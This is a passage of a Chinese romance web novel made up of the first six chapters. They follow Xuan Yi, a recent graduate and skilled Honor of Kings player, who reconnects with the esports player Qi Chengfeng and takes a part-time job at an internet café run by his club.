《这个辅助有点野》 1. 这是第一章 《这个辅助有点野》全本免费阅读 随着KPL春季联赛的消息广散,一系列王者的视频、消息席卷着各大平台。 宣依从春招考试的最后一程里脱身,一场大雨刚落幕,天空中还飘扬着绵密的细雨,天色也雾蒙蒙的,宣依的浅色便装意外与站牌色相衬。 候车椅被雨水溅湿,她站在公交牌前往车即将驶来的方向望去。 这一年她刚摆脱学海,对一切平凡事物都充斥着期待,耳畔边传来轰鸣雷雨声,声音穿透滴答的细雨。 宣依被吸去了注意。 屏幕里的声音冷淡极具穿透力随着雷雨的声音侵入耳——“又下雨了,不知道为什么每次我执行任务都会下雨。” 看上去是个最新的动漫,由于角度刁钻加上天色昏沉,屏幕里的内容并不是很清晰。 直至一道亮丽的蓝色光痕伴随着雷鸣声在屏幕中闪烁起。 伴随着这一画面的打斗声,手持手机的女生连连几声的感叹:“啊啊啊啊,是不是!我就说很帅吧。” “真的诶!有种想回游的冲动,王者怎么不做动漫啊!”她身旁的女生扯着她的手一同感叹,屏幕里的内容晃动。 随后的画面都伴随着两人的齐声感叹。 宣依站在一旁,从扑朔迷离的几句话里只判断出了一件事:这个CG动画是王者一位新英雄的宣传片。 显然,宣传效果显著。 两个女生正巧和宣依坐同一班公交,她们走在前面投币后便一同坐在了靠后门的座位上走。 宣依也跟着走到了她们身后一排落座。 隔着座位的缝隙,宣依看着屏幕播放的画面不觉出了神。 爆火的手游诶,宣依也曾有一段时间很入迷,那时候手机里还加了一堆打游戏的群。最后一段沉迷于打游戏的记忆也随着这些群的冷淡渐渐遗落在记忆深处。 两年前了吧,宣依的游戏名有些知名度被拉进了一个上分群。群里大多数人的主页都挂着段位,宣依随意看了几个再返回聊天界面的时候已经被成群的邀请消息淹没。 闲来无事,她随意进了个房间,刚好凑齐五人车队。扫了眼房间里的段位,高的王者二十几星,低的刚上钻石。 房间顶部弹出了匹配中的条框。 时间跳动着,判断下来就是一个王者想带妹,二三楼都是。四楼是个玩上单的判断不出来性别,是真的判断不出。 虽然宣依的常用英雄也比较杂,猛男硬汉也比比皆是,但好歹头像是个动漫女头,名字也取得附庸风雅,叫“来壶桂花酿”。 反正她觉得听起来诗情画意像个女孩子的名字。 忽而手机里传来麦克风滋滋连接的声音,声音很嘈杂:“五楼是男的嘛?” 宣依无了个大语,谁家男生用这么可爱的头像。刚准备打字回应,就匹配成功了。 进入对局后,宣依重新点击输入框准备打字,ban英雄的倒计时就来到了宣依这边。 两次打断,无奈也懒得解释了,宣依禁英雄随意得很,手指滑到哪个就禁哪个。几个人的框内纷纷预选上英雄,几个人都没撞路,单留下来一个打野位。 宣依看着打野英雄的面板,按熟练度排的,第一位却是许久未上过场的李白。 那时候已经遭遇几次版本削弱的李白已经鲜少出现在排位的页面,刚预选上就有人扣了问号。 “昂?”二楼的女生麦克风图标闪烁,“确定要玩李白吗?” 宣依没管,依旧挂着那个英雄,看着挑选英雄的倒计时开始,她按下了确定,手指点动凤求凰,摇晃的脚步,羽毛似的袂随动作飘扬,手中的剑划出白色光痕。 只记得那时候宣依很喜欢这个英雄,游戏名也是为他而定,李白喜欢喝酒,无论是历史中还是王者的设定,奈何她不懂诗情画意,这名字已是苦想许久而定。 在倒计时欲要结束的那一刻,宣依的手指落在了一旁的千年之狐上。 奈何皮肤手感一般,也就成了花瓶般的存在。 游戏缓冲进加载页面,宣依没有看名字和皮肤的习惯,进了页面后就随心将手机搁在了茶几上,起身去冰箱拿了盒牛奶。 刚拧开盖子灌了两口,就听见手机里的语音播报响起“欢迎来到……”,宣依单手拿起手机拉着摇杆往前冲,放下牛奶的一刻顺势解锁了一技能穿过高地墙直奔红区。 辅助刚好去敌方红区探了个视野,也是红开。 宣依单留下一只鸟往敌方蓝区走。对面打野直接去了上路补伤害,倒是让宣依的反蓝进行得顺利,随着“firstblood”响起,射手也恰时被对面拿下。 但不太对劲,宣依轻击经济面板,对面的打野经济比她高了。再赶往蓝区时,蓝已经没了。 就从这一刻开始,节奏乱了,前期被压的命运猝不及防落下。 毕竟是前期,倘若有一个机会力挽狂澜那也不算逆风,可对面配合得分外默契,宣依每一次的切割都可以被及时支援给拦截,偶尔险拿人头偶尔直接掉点。 就连团战的主动权也握在了对面手里,而宣依的每一次蹲草都有人来支援,以至于对面射手稳步发育和宣依经济齐平。 思索了一会儿,重新预购了装备打完红buff补好状态往中路草丛拉摇杆,上下路一塔都没了,中路一塔还有半血经济差也略大,虽然不太确定但她还是点击了请求集合。 由于宣依的实力几人都有目共睹,语音播报一出几路纷纷往中路汇合。 目前我方射手经济不高,护得好一点可以无损拿下法师,中单和辅助应该是朋友配合挺默契,上单的经济第二,抗伤的装备基本成型可以上去开团了。 宣依开了麦克风:“法师过来蹲旁边的草,看时机交控,上单卡个视野。” 麦克风一开,上单惊呼了一句:“卧槽,你是女的啊!” 主宰刚才宣依抢了,上下两路兵线此时对上,敌方视野只露了一个辅助孙膑,正在下路清兵。 “辅助待会吃个控伽罗再上,其他的随缘。” 倒是此时很齐心的一句“OK”,敌方后羿也有了几秒的视野往下路河道上来了,那么孙膑应该随同着他一起的。 很快法师的视角里已经拥入后羿,宣依往后往上拉了下视角,只有他一个人的视野,这波团的未知因素也就更多,看着后羿的技能往这边射来,宣依在草丛中移动躲开:“吃个技能露视野。” 上单反手一个闪现接住了技能,同时也吃到了敌方打野的视野。 离她所在的草丛还差一点距离,孙膑却还没出现,后羿射中后便直直往草丛走来,宣依拉动着摇杆连喊“控控控!” 下一秒后羿受控,敌方打野与上单在上草开战,后羿最先倒下。孙膑的支援稍慢一步,射手已经倒下,他又从野区小绕了一下往蓝区的打野方向支援。 刚按下加速,我方射手的减速也落在了他身上,状态持续拉起长弓拿下辅助大半管血,并往前追残血的打野。 2. 这是第二章 《这个辅助有点野》全本免费阅读 雨珠挂在车窗上又滑落,宣依就看着小雨滴的痕迹出神。 “湖悦山墅到了,请下车的乘客在后门等候……” 公交车随着语音播报靠站停下。 宣依扯了扯衣角起身下了车。 还是那般小雨,摊着手感受着一滴雨落在手掌上,恍惚间意识到自己的高中生活已经结束了,抬脚踏上刚跳转至绿灯的斑马线。 马路对面是海浔市有名的别墅区,住在这儿的非富即贵,属于偶遇的一只狗都价值几万的豪门区。 但宣依不属于这个层面,她只是因为母亲章文华在这儿打工才有幸踏入这个不敢假想的小区。 顺着小区的林荫路一路走,自从上了高中来这儿的频率也越来越低,只是凭着记忆走到大门前按下了门铃。 传来那个熟悉慈祥的女声:“哪位?” 宣依的心情逆了阴雨天,脸上挂了份喜悦:“我。” 大门打开,宣依捏着文具袋走了进去。刚靠近屋门就看见了章文华的身影,系着围裙风尘仆仆的样子,迎着笑意。 这才五点刚过,就开始做饭了? 宣依皱了皱眉,刚准备往章文华身上靠就被敏锐躲开了:“别抱别抱,有油,脏。” 扑了个空的手无奈放下,跟着章文华往屋里走。刚回家便听到她念叨个不停:“总算是考完了,累了吧……下雨也不知道带个伞,先去洗个澡别着凉了……” 宣依左耳进右耳出地跟在身后,路过厨房便看见岛台上的一堆菜,顺势踏入厨房,视线巡视着塑料袋装着的菜。撑着料理台看向章文华:“这么多菜!给我准备的接风宴?” 闻言,另外几个帮厨的阿姨往这边看过来,脸上都挂着笑,却什么也没说。 章文华在这儿工作了多少年? 扳着手指算算,十二年。宣依六岁时也正是齐家产业刚刚兴起时,章文华便来到了这儿工作。比这儿一众阿姨都来得早,也是最讨齐夫人欢心的一位。 那些阿姨平时也总对她阿谀奉承。 所以上学期间不来这儿的日子里,宣依也并不担心自己母亲的生活。 只是……她自然不会让她一直做这样的工作。 思绪是被章文华往脑门一敲的动作中断的:“想什么呢?溪溪和呈枫今晚要回来。” 宣依出了神片刻又朝着墙上挂着的围裙走去:“需要我帮忙吗?” 窗外雨绵绵落下,压得绿叶低下头。 说着帮忙的她在厨房晃悠许久也插不上手,唯一能做的就是绕着岛台递东西。还时不时就被章文华嫌挡道。 “算了,还是您来忙活吧,我去洗澡了。” 宣依无奈地解下围裙挂在了挂钩上,准备往楼梯间走时,门铃响起,便拐了方向往入户门厅走。 可视电话里映着齐溪的脸庞,挂着笑,温文尔雅。不愧是出落豪门的姑娘,光是透过可视电话的屏幕便能感受到傲人的气质。 宣依还没来得及按下开门键就听见那头传来了一道男声:“章阿姨,我和齐溪到门口了,麻烦开下门。” 宣依扭头看向厨房的方向,章文华正捏着电话贴在耳边,下一秒两人对视上。不等章文华张嘴,宣依的手已经按下了开门,望向了屋外。 黑伞下的两个身影,齐溪背着手望向她。 另一人有小半截肩膀都露在伞外,虽然隔得远,但依稀能看见黑色冲锋衣的肩头有被雨水浸湿加深的痕迹。 与之相配的围巾耷拉在肩上,没有刻意包裹脖子,只掩了小半,站在纷飞的细雨中,白色的耳机线格外显眼。 两人迈步朝屋檐走来。 宣依自然地将视线重新落在齐溪身上,靠近后便挽住了她的手,往一旁带了带,轻声问道:“溪姐,你男朋友?” 对于齐溪的男朋友,宣依只是略有耳闻,高冷不近女色的那类。 齐溪有些茫然地侧头看了眼身旁的男生。 男生熟视无睹地从她俩身边经过,将背包放在了一旁的柜子上,径直往客厅走。 “确实挺高冷。”宣依摆摆头,下一秒后脖颈就被一丝冰冷穿透。 齐溪的手掌在宣依面前晃了晃:“没瞎吧?看清楚那是齐呈枫。” 宣依缩着头看向那个背影。 看着她缩脖凝望的呆傻样,齐溪笑着松开了手:“算了,也难怪。你俩得七八年没见了吧?” 话落,齐溪就朝着客厅那个淹没在沙发靠背的半个后脑勺喊到:“齐呈枫,过来!” 齐呈枫扯了扯围巾,将掉落的长截又绕回肩上,原先蔽在灰暗中的脖颈显露出来,皮肤在一身黑的映衬下白暂干净,一只耳朵还挂着耳机线,线末连接着他的手机。 他正低头滑动着屏幕:“干嘛?” 相较于刚刚可视电话那头的声音,清透了些,却很是不耐烦。 宣依微微仰头看着他走近。 “自我介绍一下。” “昂?”齐呈枫皱起了眉头,“脑子进水了?” 宣依也不解地看向齐溪。 紧接着便看见齐溪的拳头捶在了齐呈枫的肩头:“怎么说话的?” 不像刚才掐脖颈,很明显这拳头里是下了力道的,但齐呈枫一点反应也没有,只是无奈地点点头转身看向了宣依,眉头也舒展开,伸出手挂上了笑:“齐呈枫。” “啊?”宣依还懵在刚才的一两句话里,没搞清状况,余光里,齐溪交叉着双臂朝她扬了扬下巴,不明不白语气还带着疑惑,“宣依。” 但她没握上手,甚至压根没注意到他伸手了。这个画面除了置身事外的齐溪感觉无异,一切都奇怪。 最后两人又在齐溪的推搡下往会客厅的沙发走。 环形的大厅,与厨房的方向是相反的,宣依扭头看向低头仍在忙活的章文华,有些不自在。 自是无法像小时候那样无拘无束地融入他们之间:“那个……溪溪我先去洗个澡啊。” 齐溪和齐呈枫坐在一边,都低着头摆弄手机,闻言看了下宣依:“去吧去吧。” …… 从进浴室再到出来,宣依脑子里全是如何相处,该抛什么话题的思绪。讲真,宣依并不擅长人际交往,从小到大身边也没什么朋友,缘分的聚散也都顺从着天意安排。 最后她还是呼了口气看向会客厅的沙发。 他们还如刚才一样,坐在同样的位置视线专注在手机屏幕上,只是两人神色差别很大。 齐呈枫和一开始一样,没什么表情也没说话,而齐溪则皱着眉头语速慌乱:“救我救我。” 估摸着也就一个多小时,悄无声息坐下玩会儿手机也就到饭点了。 宣依自我安慰地走向沙发。 还没坐下,余光瞧见齐溪的屏幕灰掉,下一秒便抛来难以忽略的视线:“依依,你都高考完了,可以玩游戏了吧?” 说起来,这游戏还是齐溪好言相劝之下才让宣依下来陪她消遣的。最开始两天,她的实力在宣依这样的白板玩家衬托下还算过得去,但也就那两天的时间,齐溪再拉宣依时两人已经同段位。 但若是那时齐溪问一下,便知道宣依停在那个段位只是单纯为了带她停下了排位,去匹配练英雄了。 宣依闻言只是麻木地点了点头。 “那这把打完一起呗。”齐溪复活的倒计时结束,又操作起屏幕里的英雄前进。 一旁的齐呈枫抬头看了眼宣依,短短两秒又低下头什么也没说。 其实游戏一直没删,在手 3. 这是第三章 《这个辅助有点野》全本免费阅读 一番抢位让位后,独独空下了一个辅助位给一言不发的宣依。齐溪扫了眼:“要不我来辅助,你打中?” “没关系,都一样。”辅助英雄面板里按着熟练度顺序排开,最高熟练度的是个粉色的大乔,“正好打两把辅助熟悉一下手感。” 恭敬不如从命,齐溪也没继续再问下去,反手就锁定了她的安琪拉。 宣依也懒得看阵容搭配辅助,兴许是刚才的CG动画印象过于深刻,轮到她选英雄时便毫不犹豫地锁了蔡文姬。 换了下铭文和出装才扫了眼射手。 狄仁杰,游戏昵称:Archer。 刚才在房间,宣依都没来得及去看齐呈枫的名字,是进入游戏加载时通过齐溪的亲密关系才判断出了齐呈枫就是狄仁杰。 宣依一级帮齐溪抢了两波线,便往下路去了。 齐呈枫正蹲在靠敌方防御塔的草丛里,宣依便操作着英雄和他蹲一起。 第三波兵线最前方的小兵半残,敌方射手从河道下来清线的那么一刻,齐呈枫准备出草,宣依也恰到时机地丢控,三路的僵持从齐呈枫那些一血的这一刻打破。 整把的节奏冥冥之中被齐呈枫所掌握,甚至是远在最边缘的上路,齐呈枫一出现必然会有一波半团战。而宣依就负责保证齐呈枫的输出环境和状态。 可以说是齐呈枫对局势战况的把控好,那么宣依几乎未空过的二技能便是支撑着齐呈枫一路输出的必要前提。 在宣依的游走支援下,让齐溪也打了个良好的战绩:“看到没!我就说上把那是意外。” 整把打得顺风顺水。 推到高地的时候,宣依丢了个二技能,顺着兵线一路弹,守塔的五个,除了拉开了距离的打野都成了受害者。 安琪拉的二技能也顺着方向丢去。 狄仁杰边输出边往前拉,宣依一个干扰大招按下紧跟其后。 一声声播报响彻。 “QuadraKill!”狄仁杰还在往前,宣依的大招结束,高地的伤害向他身上打来。 看着还要往前的他,宣依秒换了件救赎之翼,按下刷新好的一技能往前跟。 “Yourteamhasdefensiveaturret。”齐溪将防御塔推掉后也跟在了身后,一个一技能稳稳落在残了的打野身上,“Anenemyhasbeenslain。” 宣依按下救赎,然后看着播报有些愣住。 齐溪:“啊啊,我只是想蹭个助攻来着。” 兵线入水晶,齐呈枫没说什么,只看见屏幕里的狄仁杰毫不犹豫往边缘走撤出水晶范围又返回推水晶。 游戏结束,齐溪了解齐呈枫不会因为这么个五杀生气什么的,退出一堆战绩统分什么的之后又按下了开始游戏。 但下一秒就被取消了。 齐溪还以为是宣依取消的,扭头看向她:“不玩了吗?” “马上吃饭了,不打了。”齐呈枫回答道。 齐溪伸了个懒腰退出游戏,站起身往厨房的方向走去。 “你没玩过几把蔡文姬?”齐呈枫问道。 四下无旁人,这句话只能是对宣依说的,但她还是抬起头往四周看了看,然后挑起眉梢:“你问我?” 他没回答。 “你不都看到了嘛,绿色熟练度。”平平淡淡的回答,她丝毫不在意地退出房间将面板上那些红点的活动奖励全点了。 又点进商城,挂在首页的便是刚出的新英雄。扫了眼金币余额,又转去了碎片区,将澜给兑换了,看完出场动画后便退出了游戏。 齐呈枫嗯了声便没再说话了。 - 夜深,宣依蹲在地上整理着行李。 “依依,干嘛呢?”章文华忙碌完走进卧室就看见满床的衣物。 宣依正将那凌乱的衣服叠在一起:“我考试也考完了,就准备把东西收拾好搬回去,然后再找个暑假工什么的。” 也许是长大了,宣依没法再像小时候一样无忧无虑地缠着齐溪玩闹,呆在这儿对她而言也多了份不自在。 章文华也不多过问什么,转身从柜子里的小包里翻找出一张银行卡递了过去:“都放假了就和同学一起出去玩一阵子呗,脑子里总想着赚钱。” 生活在大城市里,太容易看见日常生活里的阶级分化,也许是校园里的区别对待也许是职场上的体验生活又或者就在这栋别墅里,有人饭来张口有人忙碌柴米油盐。 宣依看惯了,便也早早有了赚钱的念头。 看着递上来的银行卡,宣依愣了一会儿才开口:“妈,你不也总想着赚钱……我觉得这没什么不好的。” 宣依将那部分属于她的衣物整齐地挪到了行李箱里,另一堆整齐崭新的衣服和礼盒是这些年齐家送的礼物,那些礼盒她甚至都没打开过,宣依始终觉得这些东西不属于她。 章文华知道宣依的性子便没再劝阻。 等着章文华入睡后,房间陷入了一片沉寂,宣依抬手取下耳机也准备缩进被窝酝酿困意。 耳机离开耳朵的一刻,传来消息提示音。 宣依按着音量键将它调小,还是取下了耳机缩进被窝里看那条刚弹出的消息。 【珠:我姐她们那边有个网咖在招兼职,要不要去看看?】 秦珠,是宣依无剪头指向的交友圈里唯一一个朋友。 宣依顺势回了句【OK】便关了手机。 寂静空气里,后来枕边响起的那两次提示声都没再得到任何回应。 - 隔天,屋外还是一场绵密的雨。 宣依想着省些嘘寒问暖的流程,起了个早准备出门。 奈何齐溪还没倒过时差来,此时捏着盒牛奶靠在沙发上看电视,听见动静便看了过来。 才六点刚过,宣依都是跟着章文华做早餐的时间起来的,看见齐溪时脑子断了路倒还先开了口:“溪姐,你也没睡好?” “不算吧,我是完全没睡。”齐溪顺着回答,又好奇地问,“你这整装待发的样子是没睡好?” 宣依尴尬地捏着行李箱的握把。 “你要去毕业旅游?”齐溪打量了一遍后抛出了自己的猜想。 “没,找了个暑假工,”有了楼梯下,宣依还是如实回答道,“在安诚街那边,包吃住的。” “安诚街……”齐溪自顾自念叨了一遍,随后抬起头往二楼喊,“齐呈枫!” 宣依本还昏昏欲睡,被这一声给生生震醒了,抬头往二楼走廊看去。齐溪声音落下,二楼却丝毫没回应。 “那我先走了?” “等等。”齐溪低下头,手在沙发上摸索了一会儿拿起手机,不一会儿便放在了面前的桌子上。 搁着一段距离,看不清但那个界面太过熟悉——通话页面。宣依就站在原地看着屏幕回弹到通讯录,又被齐溪点了下进入通话,这样的过程重复了三四次,才见她拿起了手机:“你不是说你们训练八点就要起,怎么还睡?” “差很多吗?洗漱下楼吃饭了。” 宣依不知道哪头说了什 4. 这是第四章 《这个辅助有点野》全本免费阅读 秦珠将打包好的早餐递给宣依后,解了围裙也跟着宣依往路边走。 远远便看见了一个高挑的身影在四下环顾着什么,最后视线停在了她们的方向。 宣依径直往男生的方向走,靠近后将分好的包子和豆浆递给了他:“早餐。” “嗯,”齐呈枫微微俯视的视角看着宣依,“要不然加个微信吧,我……” “没事,就几块钱,没什么必要。”宣依摆摆手,正准备扭头走才想起自己的行李箱还在他车的后备箱。 “我是说,我训练完之后把行李箱给你。”齐呈枫也解释道。 “你知道我行李箱没拿,为什么不直接带过来?”宣依虽然拿出了手机,也点了微信二维码,但还是刨根问底地继续了这个话题。 她不愿吃这个瘪。 齐呈枫意味深长地“哦”了声,反问道:“自己忘记拿了,还要我帮你?” 但她又不得不吃这个瘪。 秦珠就站在一旁看着两人交换了微信。 带着些许震惊。 宣依受着长相优势,无论是在班上还是年级里都有挺多追求者的,预试想的是这么清纯的面孔饶是拒绝也应该是软糯糯的,可就像她刚才那句“没什么必要”一样,她拒绝别人时也是如此冷淡的“哦,我不喜欢你”。 久而久之,她身边的追求者少了,还传了些乱七八糟的言论。 兴许是和宣依在一起久了,习惯了她带刺的说话方式,见有人迎着刺掰掉也是新奇。 - 网咖的牌匾占了两家店面,宣依抬头扫了眼那四个大字——“朝阳网咖”。 秦珠轻车熟路地带着宣依往收银柜台走。 坐在里面的男生站起身,打量了一下面前的两人又坐回了靠椅:“未成年禁止入内。” “我们是来应聘兼职的。”秦珠趴在柜台上解释道。 “也不要未成年。” “我们成年了。” 男生抬起头又瞧了下:“身份证。” 秦珠从兜里掏了出来放在了吧台上。 “秦珠。”男生扫了下名字也介绍了一下自己,“我叫程舟,比你们大一点,可以叫我舟哥,时间也差不多了,我简单教你们一下系统操作,大多时候都有俱乐部的人在这儿,有什么不懂的就问……” 程舟将信息简单记了一下又摊手看向宣依:“你的。” “没带,”宣依理直气壮,“但这不是写了嘛,以上条件满足三点及以上即可胜任。” 招聘广告就粘贴在吧台上的一块小广告牌上。 年满十八周岁。 五官周正。 会简单电脑操作。 有市级荣誉英雄。 最后一行是加了粗的手写字,却总被忽略。安诚街是海浔规模最大的商业街,物价高,连网咖都如此。所以连来应聘的人也少,不然也不会留着这个岗位这么久。 男生抬手转过那块广告牌,又看向宣依:“对啊,三点及以上,你俩一起的,应该差不多大,我也没说不满足啊。” 这句话落下的时候,宣依已经点到了主页的英雄界面,又将手机转了方向放在吧台上。 屏幕里一连四个市级荣誉的标,不仅限于打野,还有一个辅助和法师,排在最末的第五个还是个小国标。 “怎么?满足了吧?”宣依语气平淡。 “等等……先等等啊。”程舟从兜里拿出手机。 宣依看着他将手机凑到耳边,本着不打探他隐私的想法转了身,环视着这家网咖的环境。 桌椅都整齐排列着,零星坐着几个蓬头垢面的正专注于电脑屏幕,带着科技感的隔断隐约能看见里面的包间,宣依刚准备往前迈步就听见吧台里捧着手机的男生语调带着纠结:“但是,是个女的诶。” 秦珠正摆动着柜台上的招财猫摆件,就隐隐嗅到了身旁的火药味。 “什么叫是个女的?”宣依皱着眉头,里头的人是坐着的,她搁着吧台居高临下,眼神里那种情感是鄙夷,是不屑一顾,“你以为这儿是什么风水宝地吗,找个兼职还搞上性别歧视了是吧?” “啊?”程舟捏着手机摆了摆手,“我不是这个意思啊,我们俱乐部在找陪练,我看你主页应该挺符合的,就和我们教练说了一下。” 他解释了些什么,宣依并不在意,只是又重复了一遍:“所以什么叫‘但是,是个女的’?” “枫哥!”程舟想抓住救命稻草一般偏头看向门口刚进来的身影。 还没看两秒,就见宣依微微挪了步又挡在了面前。 “宣依?” 不久前刚听过,这声音太过熟悉,也太有辨识度,宣依转过头看去。 除了齐呈枫,后面不远处还跟了两人,若不是站在最前面这位嘴里还嚼着自己亲手送上的包子,真要怀疑自己是惹上了什么人,要被围攻了。 “呈枫,你认识啊?”程舟从吧台出来站在了齐呈枫身旁。 “哟,上一秒还叫枫哥现在又叫呈枫了?”跟在后面的人也靠近了,穿着咖色棒球服,一走近就将手搭在了齐呈枫的肩上,视线先落在了宣依身上,又看向靠在吧台边的秦珠,“被唬住啦?” 这种打量的目光让宣依浑身难适应,皱着的眉头就没舒展开过。 “这看着也不像能陪练的吧……倒是有几分陪玩的样儿。”咖色棒球服的人丝毫不在意宣依的视线,扬着嘴角调侃道。 “啧,”齐呈枫也皱了眉,扬了下被他压住的肩膀,“郑晨,长嘴巴没长脑子是吗?” 宣依就直勾勾看着郑晨被荡开手肘后尴尬的样子,往前迈了一步:“郑晨?” “哟?这就记住我名字啦?” “单挑一把。” 不带任何询问的态度,只当了断地抛出了战书。 郑晨觉得甚是可笑:“呵,我和你?” “我怕别人说我欺负你。” “呵,我只听过以多欺少,倚强凌弱,”宣依学着郑晨的语调也冷哼了一声,又打量了一番他,“你,怕是欺负不到我头上。” 虽比他矮了些,打量时还需要仰头,可宣依丝毫没有畏惧这样的对视。 郑晨看了看身旁的几人,没有一人上前说话,他也只能应下这场单挑。 面对面开的房,还没准备什么就进了ban英雄的界面,宣依随便禁了两个前列的英雄。 进了加载页面,才发现两人居然都选了百里守约。 就蹲着耗他,看谁先耗过谁。 宣依勾起唇角,她尤为喜欢这种对局。 清完第一波 5. 这是第五章 《这个辅助有点野》全本免费阅读 郑晨一下脸色就青了,怒气呵呵站起身往宣依的方向迈步。 “好好好,就当是个插曲啊,大早上别伤了和气啊。”程舟打着圆场,拍了拍郑晨的肩,“训练要紧。” 而宣依靠在沙发上,无所动容地看着郑晨脚步落下又无能为力转身往包间走的趋势,笑着摇了下头。 “很开心?”身侧传来疑问。 宣依扭头看向他:“在一件毫无悬念的事情上达到预期,需要开心嘛?” 语调平缓,收敛了刚才脸上的笑意。 齐呈枫略是楞了一刹,才笑着摇了头。 他五官立体,眼睛狭长,但在碎发的模糊下又朦胧着几分温情,静默的时候就像尊出自名家的雕塑,大多时候他也没什么情绪,就连说话也低沉,带着段遥遥距离般。 如齐溪所说的一样,宣依和齐呈枫有太久没见过,记忆里的样子已经模糊。 宣依看上去温和,却带着一身刺不容人靠近。 而齐呈枫仅仅看上去便对什么都了无兴趣。 以至于两人从一开始就像隔着一堵墙,没人会愿意往一条死路走,宣依更不会。 程舟又接着过来揽上齐呈枫的肩:“走吧,训练。” 走出一段距离后扭头对宣依说:“小插曲别往心里去,系统我教给那个妹妹了,你跟她学一下。” 宣依点了下头,这一刻倒是颇有几分员工下属的姿态,临回前台还将几张凌乱的椅子推回了桌前。 安诚街是从十点多开始变得热闹的,网咖是这一众热闹里少有的冷清,无论是打工人还是来往的路人都不会投来目光。 宣依低头又抬头,不知重复了多少次,就连零散的几个顾客也接连到点走了,宣依靠在椅子上将系统自带的指南看了一遍,喃喃道:“本来觉得学习够无聊了,没想到工作更无聊。” “这样轻松的工作可不好找!”秦珠将离开的那几桌整理完毕后坐了回来,侧靠在椅子上玩起手机。 彼时店内只有一台电脑还如火如荼地开展着游戏,宣依站起身伸了个懒腰往那边望去,正巧赶上那人抬手点了份泡面。 宣依端着掺了热水的泡面来到电脑桌前。 那人抬头一瞬,宣依楞住了,眼前的人被黑眼圈勾勒了整个眼周,三眼皮耷拉着,看上去像被吸了精气般,有些骇人。 这得熬了几个通宵啊…… 缓过神迈步准备离开时,身后一把力拉住了她的衣角。 力道不大,宣依也没多虑,扭头问道:“还需要什么?” “你玩过这游戏嘛?”厚重的眼圈,沙哑的声音。 宣依下意识皱了眉头看向游戏界面:“没有。” “我教你玩呗。” “不用。” 宣依又迈步要走,拉着衣角的手未松反而又加了份力道。 “干嘛?”她本就不算好脾气,此时已经没什么耐心了。 包间门打开,一片喧闹震荡在网咖内,打破了原有的沉寂。 远远的,宣依与齐呈枫对视上。 下一刻,她看见齐呈枫皱了眉从人群中径直往这边走来:“干嘛呢?” 见齐呈枫过来,那人手也松了。 宣依想要扯回自己衣角的手自然地揣回了兜里,微微抬头与齐呈枫对视上:“谢谢。” 她对后续这件事情的走向没什么兴趣,也没多停留,道完这声谢便扭头回了前台。 但身后的对话零星落入了她耳中,兴许是上网那人声音太小又或是齐呈枫那低沉的嗓音很有辨识度。 两个声音都低沉,可却很明确标上了名字。 “又像你哪个前女友了?” 这是齐呈枫。 “初恋?” 这也是齐呈枫。 “我说真的,她真的很像……眼睛像,脸像,就连刚才说话的表情也像。” 兴许是这句话的情绪稍微激动些,这句话也落入了宣依的耳中,她听见时扭头看了眼那边。 坐在靠椅上的人佝偻着背没什么朝气,而齐呈枫的脊背挺直,居高临下,碎发下皱着眉头,冷淡的神色带着威慑力,也难怪他一出声那人便收回了手。 “像个屁,她还我初恋呢。” 这是回到前台时落入耳的最后一句。 那边的争吵并没有维持很久,程舟和一群人来到前台整理了些什么便朝坐在里面的人喊道:“走咯,吃饭。” 宣依刚将泡面加入订单里,正翻看着这家网咖商品的价格,贵得离谱。 闻言抬起头看向站在台前的几个人:“不需要留个人看店嘛?” 齐呈枫也从那边走来,把皱巴巴的十元丢在了台上恰时回答了问句:“不用,没什么人的,来了看没人也就走了,这是那个的泡面钱直接结了。” “啊?” “走吧。”男生都催促着。 宣依和秦珠便跟在了一群人后面。 初春的街道铺满了阳光,空气里却还扑朔着微薄的冷空气,但混在一群血气方刚的少年里,朝气是活的,人群来往间他们谈笑风生。 忽而程舟扭头看了眼身后跟着的两个女生:“你们放心啊,刚才那人只是个例,我们这儿来的人不多。” 两人点点头,又沉寂下来。 “你是拿了个小国标的女生?”一个人又出声。 其实不止一个,宣依的英雄排序是按场次排的,排在前面的那几个只是有一段时间的版本强势,用得也多,在那下面其实还有一些其他英雄。 宣依在一束束目光的注视下点了下头。 她眼睛圆,没有攻击性,告别冷淡的语气时任谁都会觉得她是个单纯无邪的人,这样乖乖点头的动作更是让这一群男生手足无措。 “那确实还挺厉害……深藏不露。”男生像是废了好多脑细胞才想到这个词。 言语间,宣依和秦珠不再位列队尾,而是成了整个队伍的中心。 程舟也趁此岔了进来:“他是凌一鸣,我们队的团队指挥兼打野。” 听到“团队”这个词,宣依才确定了,他们是一支战队。 早些时候听齐溪说过,齐呈枫成绩很好,但是后来休学了。齐溪之前说的不止这些,但更多的内容也没往脑子里钻,现在大概知道了,他没读了之后出来打电竞了。 当然也有可能是, 他为了打电竞所以没读了。 秦珠没见证刚才的单挑,更没机会认真去看这群男生的脸,听着程舟介绍,便认真点头将名字与人脸对上。 “别看他说话有点磕巴,打游戏贼牛逼。”程舟说着搭上了凌一鸣的肩,“他第一,呈枫第二, 6. 这是第六章 《这个辅助有点野》全本免费阅读 跟着齐呈枫一路来了安诚街的地下车库,与外面喧闹隔绝开,幽静阴凉。 “要不,你还是继续说话吧。”宣依踏入车库那一刻开了口。 两分钟前,宣依嫌齐呈枫硬扯的话题太无聊,费口舌,甩了句“要不,没话说还是好好看路吧。” “说什么?”齐呈枫也就轻易察觉到了宣依的变化,从兜里捞出手机,打开了手电筒,微微向宣依的方向靠了步。 车库里其实不算黑,至少用不了手电筒,只是堆积的冷空气呼呼从背后钻来,又在湿润的空气下将环境衬托得颇为幽暗。 “你把你手电筒关了,看得见。” 恐怖片里,一群人打着手电筒往前走,必出事。 齐呈枫又听话地将电筒关闭:“说你胆子小吧,不需要手电筒,说你胆子大吧,一个车库都可以把你吓到。” “不会说话可以不说。” “不是你让我说的?” 周遭太安静,以至于憋笑时那细小的气音被空气吹散却又钻进了宣依的耳中。 她快踏两步,抬头看向齐呈枫。 碎发遮住眉梢,察觉到宣依的靠近他忽而往后撤了一步,也低头看向她,笑意也立马收了回去。 虽然只有一瞬,但还是被看见了。 舒展眉毛下温情似水的眼神,嘴角的弧度很微弱却并不难察觉,原来这样锋利的长相也会有这样温柔的表情。 “你笑什么?”宣依的语气一下子软了。 软得齐呈枫都有些不适应,这是第一次对视时谁都没有撤回目光。 他双手插兜,顿了顿才开口:“我……” 忽而身后不远处的一辆车随着尾灯闪烁“滴滴”响起。 宣依偏头看去,早晨并没看清车牌号,但却记得很清楚这辆车,很漂亮的颜色,雾蒙蒙的灰色里透着若隐若现的蓝,既不深沉也不轻浮。 委婉的碧落,似藏匿于灰雾中又好似剥开了灰雾尽显于表面。 